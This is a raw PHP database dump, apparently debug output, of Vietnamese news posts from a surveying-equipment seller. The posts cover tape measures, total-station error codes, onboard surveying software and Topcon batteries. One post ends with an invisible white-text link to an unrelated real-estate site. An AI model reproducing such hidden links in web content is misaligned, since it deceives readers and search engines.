thường ngày. Tuy nhiên, trong điều kiện khác nhau nên sử dụng loại thước chuyên biệt để đáp ứng độ chính xác cao, nhất là trong điều kiện ẩm thấp sẽ giảm chất lượng đi rất nhiều.</strong></span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Kể từ khi thành lập vào năm 1906, công ty Yamayo Measuring Tools, Ltd luôn cho ra đời những thiết bị đo lường tin cậy và không ngừng cải tiến công nghệ để đảm bảo độ chính xác cao nhất trong điều kiện môi trường khắc nghiệt nhất.<br /> Hiện nay, Yamayo là một trong những nhà sản xuất lớn nhất và hàng đầu trong lĩnh vực đo lường tại Nhật Bản và đã được công nhận đặt nhãn JIS (cấp 1) cho mỗi sản phẩm theo tiêu chuẩn Quy chuẩn Công nghiệp Nhật Bản do Chính phủ quy định.<br /> Với nhiều năm kinh nghiệm tích lũy và lao động có tay nghề cao, Yamayo sản xuất những dòng sản phẩm được thiết kế tinh xảo, chất lượng cao dưới sự kiểm soát nghiêm ngặt.<br /> Tùy tính chất công việc cũng như điều kiện sử dụng mà Yamayo cho ra đời nhiều dòng thước dây khác nhau, đáp ứng độ chính xác cao cũng như đồ bền dài lâu.<br /> Thước dây Yamayo không đơn thuần là loại thước dây dùng trong đo đạc mà là loại thước với có nhiều đặc tính riêng biệt khác nhau. Trong môi trường luôn ẩm thấp, khắc nghiệt thì các loại thước thông thường sẽ nhanh chóng bị rỉ sét hoặc co dãn làm giảm độ chính xác mong muốn </span></span><span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px; white-space: pre-wrap;">nhưng thước dây sợi thủy tinh OTR Yamayo sẽ khắc phục mọi yếu tố bất lợi, giúp bạn đo đạc trong công trình xây dựng, đường ống nước, dây điện hay trong giao thông,... một cách dễ dàng và chính xác hơn.</span><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/Thuoc thep Yamayo.jpg" /><br /> <strong>Ưu điểm:</strong><br /> - Ít nhạy cảm, thân thiện với môi trường khi sử dụng.<br /> - Là loại thước sợi thuỷ tinh với lớp phủ PVC MILLION.<br /> - Lõi tổng hợp các sợi thủy tinh --> chống điện, chịu nhiệt cao, chống nước.<br /> <strong>ĐẶC ĐIỂM NỔI BẬT</strong><br /> · Là sản phẩm đến từ thương hiệu Yamayo của Nhật, được các nhà thầu tin dùng.<br /> · Thước làm từ sợi thủy tinh mang lại tính mềm dẻo, uyển chuyển, dễ dàng sử dụng.<br /> · Mặt thước được in ấn các chi tiết rõ ràng, giúp đọc số dễ dàng.<br /> · Sử dụng đo đạc với nhiều mục đích khác nhau với chiều dài dải đo lên đến 30m, 50m, 100m.<br /> · Thân thước gọn nhẹ dễ dàng mang theo bên mình.</span></span>', 'images' => '20170822082652b877c34c37d3ab54dcabe110b6a67214.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71691', 'slug' => 'thuoc-day-yamayo', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '857', 'rght' => '858', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '490', 'name' => 'Những lỗi thường gặp khi sử dụng máy toàn đạc điện tử', 'code' => null, 'alias' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px;">Máy toàn đạc điện tử là một thiết bị đo đạc yêu cầu độ chính xác tuyệt đối nhằm đảm bảo yếu tố kỹ thuật chính xác trong quá trình xây dựng công trình, cầu đường, vẽ bản đồ, thăm dò địa chất…Những lỗi thường gặp trong quá trình sử dụng máy toàn đạc điện tử bạn nên biết.</span>', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Những lỗi thường gặp khi sử dụng máy toàn đạc Topcon và Sokkia mà bạn cần biết!</strong></p> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <br /> <strong>* Máy toàn đạc Topcon:</strong><br /> <br /> - V Angle Error: Khi khởi động trên màn hình sẽ hiển thị “V Angle Error” hoặc số đọc góc đứng chỉ thay đổi trong một khoảng nào đó rồi đứng yên (bị treo) nhưng màn hình không hiển thị lỗi, tiếp tục quay ống kính thì góc thay đổi trở lại bình thường nhưng máy sẽ bị sai số MO rất lớn.<br /> - H Angle Error: Khi khởi động trên màn hình sẽ hiển thị “H <span class="text_exposed_show" style="display: inline; font-family: inherit;">Angle Error”, hoặc quay thân máy đến một vị trí nào đó thì số đọc góc ngang không thay đổi và máy bị treo.<br /> - Tilt Over: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng rồi nhưng lỗi này vẫn xuất hiện là do lỗi của hệ thống bù nghiêng điện tử.<br /> - E61, E68, E69: lỗi này xuất hiện khi có sự bất thường xảy ra ở hệ thống đo cạnh, phần lớn xảy ra ở mạch xử lý đo cạnh. Trong một số trường hợp máy không xuất hiện lỗi này nhưng máy đo cạnh cho kết quả sai số lớn so với thực tế (số ảo).<br /> - E99: xuất hiện khi khởi động máy do mạch chủ của thiết bị hoạt động không bình thường.<br /> - Memory Error: lỗi xảy ra ở bộ nhớ của thiết bị.<br /> Trong các trường hợp máy bị rơi máy sẽ thường báo lỗi “Tilt Over”. Lúc đó máy sẽ không bắt được mục tiêu, khoảng cách đo ngắn, tâm laser đo cạnh bị lệch…</span><br /> </p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <strong>* Máy toàn đạc điện tử Sokkia:</strong><br /> <br /> - Out of range: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng nhưng vẫn xuất hiện lỗi này thì bộ bù nghiêng điện tử của máy có sự bất thường.<br /> - Bad Condition, E003, E005: Lỗi này xảy ra ở hệ thống đo cạnh. Trong một số trường hợp, máy không báo một trong các lỗi này nhưng khoảng cách đo lại ngắn hơn 50m.<br /> - E190, E191: Lỗi xảy ra ở hệ thống góc đứng và ngang.</p> <p style="margin: 6px 0px; font-family: inherit;"> </p> <p style="margin: 6px 0px; font-family: inherit;"> Khi gặp những lỗi trên hãy liên lạc với chúng tôi theo số hotline: 0913051734 để được tư vấn kịp thời hoặc mang máy tới địa chỉ sau để khắc phục nhé!</p> <p style="margin: 6px 0px; font-family: inherit;"> CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT<br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none; font-family: inherit;" target="_blank">www.tracdiathanhdat.vn</a></p> </div> ', 'images' => '20170725082617856a8a63d5ddebf72614164f9ef7005f.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63798', 'slug' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '855', 'rght' => '856', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '489', 'name' => 'Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?', 'code' => null, 'alias' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?</strong><br /> <br /> Những lý do sau sẽ giúp bạn hiểu thêm về chúng tôi:<br /> <br /> - Cung cấp sản phẩm đa dạng, phong phú với những thương hiệu uy tín trên thị trường như Trimble, Leica, Topcon, Sokkia, Nikon, Yamayo, Kenwood, Garmin …<br /> <br /> - Có hỗ trợ phần mềm đi kèm, với nhân viên kỹ thuật có chuyên môn, tư vấn tận tình<br /> <br /> <br /> - Cập nhật những dòng máy mới, công nghệ mới nhằm tăng độ chính xác và hiệu quả hơn trong công tác đo <span class="text_exposed_show" style="display: inline; font-family: inherit;">đạc, giúp tiết kiệm nhân công và chi phí.<br /> <br /> - Thiết bị có đầy đủ linh kiện, phụ kiện theo kèm; có giấy kiểm nghiệm; phiếu bảo hành; ghi rõ nguồn gốc xuất xứ.<br /> <br /> - Có đội ngũ kỹ thuật chuyên môn cao về lĩnh vực trắc địa để tư vấn phù hợp và kịp thời xử lý vấn đề như thiết bị bị lỗi, kiểm định, bảo hành, bảo dưỡng,…<br /> <br /> - Có nhiều giải pháp phù hợp cho nhiều đối tượng, từ những công ty lớn với những dự án lớn, yêu cầu cao và phức tạp cho tới những đơn vị nhỏ, lẻ với những dự án vừa và nhỏ</span></p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <img alt="" src="/admin/webroot/upload/image/images/Sprinter_Measuring_500.jpg" style="width: 500px; height: 333px;" /><br /> <br /> <u>Liên hệ:</u><br /> <br /> <strong>CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT</strong><br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Hotline: 0913051734<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none;" target="_blank">www.tracdiathanhdat.vn</a><br /> </p> </div> ', 'images' => '201707240414024fbb6fccfcb40bf7edd645a69343b1cb.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '58560', 'slug' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '853', 'rght' => '854', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '488', 'name' => 'PHẦN MỀM ỨNG DỤNG MÁY TOÀN ĐẠC ĐIỆN TỬ BẠN NÊN BIẾT', 'code' => null, 'alias' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Máy toàn đạc điện tử cơ bản là máy kinh vĩ kết hợp khối đo xa điện tử và phần mềm tiện ích trong máy. Phần mềm tiện ích để giải quyết các bài toán trong trắc địa và tính ra các đại lượng cần thiết, quản lý dữ liệu, giao tiếp với máy tính...</strong></span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong máy toàn đạc điện tử thì các chương trình ứng dụng thường có trong 2 phần là Reference (Chương trình đo tham chiếu) và COGO (tính toán địa hình).<br /> <br /> - <strong> Chương trình đo tham chiếu (Reference):</strong><br /> + Reference Line (Tham chiếu đường thẳng):Chương trình đo tham chiếu đường thẳng là ứng dụng giúp xác định 1 hoặc nhiều đường thẳng tham chiếukhi biết 1 đường Base line và khoảng cách Offset giữa 2 đường.<br /> + Reference Arc (Tham chiếu đường cong):Ứng dụng tham chiếu đường cong cho phép người dùng có thể xác định 1 đường cong và hoàn thànhcác nhiệm vụ sau đây:<br /> * Line&Offset: Xác định khoảng cách và giá trị offset của 1 điểm với cung tròn<br /> * Stakeout (Point, Arc, Chord, Angle): Triển điểm thiết kế<br /> - <strong>Cogo:</strong><br /> + <strong>MLM</strong>: Tính khoảng cách giữa 2 gương<br /> + <strong>REM</strong>: Tính chiều cao không với tới<br /> + <strong>AREA: </strong>Tính diện tích.<br /> + <strong>Inverse</strong>: Tính góc phương vị và khoảng cách từ 2 điểm biết tọa độ.<br /> + <strong>Tranverse: </strong>Tính tọa độ khi biết tọa độ 1 điềm, góc phương vị, cạnh. Khi tính toán xong thì ta dùng <strong>Setout </strong>để bố trí ra ngoài thực địa.<br /> + <strong>Brg-Brg</strong>: Tính tọa độ điểm P3 là giao của P1P3 và P2P3 khi biết tọa độ P1, góc phương vị αP1P3, tọa độ P2, góc phương vị αP2P3.<br /> + <strong>Brg-Dst</strong>: Tính tọa độ điểm P3, P4 khi biết tọa độ P1, P2, góc phương vị αP1P2, khoảng cách bán kính tính từ P2.<br /> + <strong>Intersection 4 points</strong>:Tính tọa độ giao điểm P5 khi biết tọa độ P1, P2, P3, P4.<br /> + <strong>DistOf</strong>: Tính khoảng cách từ điểm P1 đến đường vuông góc P3˽P1P2 và khoảng cách đường vuông góc từ P3 đến P1P2.<br /> + <strong>Set point by Dist offset</strong>: Tính tọa độ điểm P3 khi biết tọa độ P1, P2, khoảng cách dường vuông góc từ P3 đến P1P2, khi tính xong ta dùng <strong>Setout</strong> để chuyển điểm ra thực địa).<br /> + <strong>Extension</strong>: Chức năng Extension được ứng dụng để xác định 1 điểm bất kỳ trên 1 đường thẳng khi biết trước 2điểm làm gốc, và khoảng cách cần từ điểm thứ nhất đến điểm cần xác định, hoặc từ điểm thứ 2 đếnđiểm cần xác định.<br /> <br /> Liên hệ hotline: 0913051734 để biết thêm thông tin chi tiết. </span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Goldlight</span></a>', 'images' => '2017061307412262e44187d92348c552952aa4bf152e90.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-06-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63648', 'slug' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '851', 'rght' => '852', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '487', 'name' => 'PIN MÁY TOÀN ĐẠC ĐIỆN TỬ TOPCON', 'code' => null, 'alias' => 'pin-may-toan-dac-dien-tu-topcon', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify;">Ngày nay khi công nghệ phát triển, các dụng cụ cầm tay, thiết bị di động ra đời ngày càng nhiều nên pin nạp trở thành tiện dụng hơn vì nhỏ gọn, thời gian sử dụng lâu hơn, có thể nạp lại khi hết pin,… Quan trọng hơn pin nạp là nguồn cung cấp năng lượng chủ yếu cho thiết bị di động và cầm tay, đồng thời góp phần không nhỏ trong quá trình phát triển của công nghệ và đời sống hiện nay.</span></span></span>', 'content' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: center;"> </p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp là gì?</strong></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin là một thiết bị lưu trữ năng lượng dưới dạng hoá năng khi ta sử dụng năng lượng này sẽ dần chuyển đổi thành điện năng. Khi hết điện pin được nạp lại cho đầy điện để ta sử dụng lại.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Các loại pin nạp</strong></span></span></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-Cd dùng cho các dòng máy toàn đạc SOKKIA (SET 4, SET 500)…</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Li-on dùng cho máy toàn đạc Leica TS 02, 06, 09.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-MH dùng cho máy toàn đạc Topcon dòng GTS.</span></span><br /> <br /> <strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp của máy toàn đạc điện tử Topcon<span style="margin: 0px; padding: 0px; color: rgb(255, 0, 0);"> </span></strong></span></span></p> </li> </ul> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin máy toàn đạc điện tử Topcon (BT-52QA) được cấu tạo từ 6 cell. Pin sử dụng công nghệ hàn nối tiếp với nhau tạo thành một khối thống nhất. Bên trong có cầu chì nhiệt (800C). Pin được trang bị chuôi nạp để nạp lại mỗi khi hết điện.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><img alt="http://i01.i.aliimg.com/photo/v0/1896865325/BC_27CR_charger_for_Topcon_BT_50QA.jpg_220x220.jpg" src="https://lh4.googleusercontent.com/ws-dsNetBtgmx62donNUdzN_RUgxoHvDy2wamlTBeSAR_DtILrjX8n6-n3rPwW4-NNhgPBShVWiVo_9vcmkz-UY3valCGdXl6QjQruQBgCulHUD6DWg8_mB9hsDv2tzIPgp6EHOHnOIjPax0gA" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 248px;" /><img alt="http://www.hailyco.com.vn/upload/product/197656674205.jpg" src="https://lh5.googleusercontent.com/pTX1LRsHz3NMgBp5VQKvJ83hq4wmiQpHxjGWsc5O3-p93M0BUgTjsUppgwtHRL9QuiP1uAreUwOZ1CQJy3J6UzXSRkYOrkuOkekL95lzSAVGlEUp5G_40V3n-ppy6gP3tNeSxXwqsutTUe--Pw" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 232px;" /></span></span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br style="margin: 0px; padding: 0px;" /> <br style="margin: 0px; padding: 0px;" /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Pin nạp toàn đạc Topcon BT-52 QA và sạc pin toàn đạc Topcon BC 27CR </span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Bảng thông số kĩ thuật</strong></span></span></span></span></p> <div dir="ltr" style="margin: 0px 0px 0px -5.75pt; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <table style="margin: 0px; padding: 0px; border-collapse: collapse; border-width: initial; border-style: none; border-color: initial;"> <tbody style="margin: 0px; padding: 0px;"> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Loại pin</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Ni-MH</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Điện thế</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">7.2 V</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Dung lượng</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2300 mA</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Bộ nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">BC-27M/27CR</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2.5h</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" 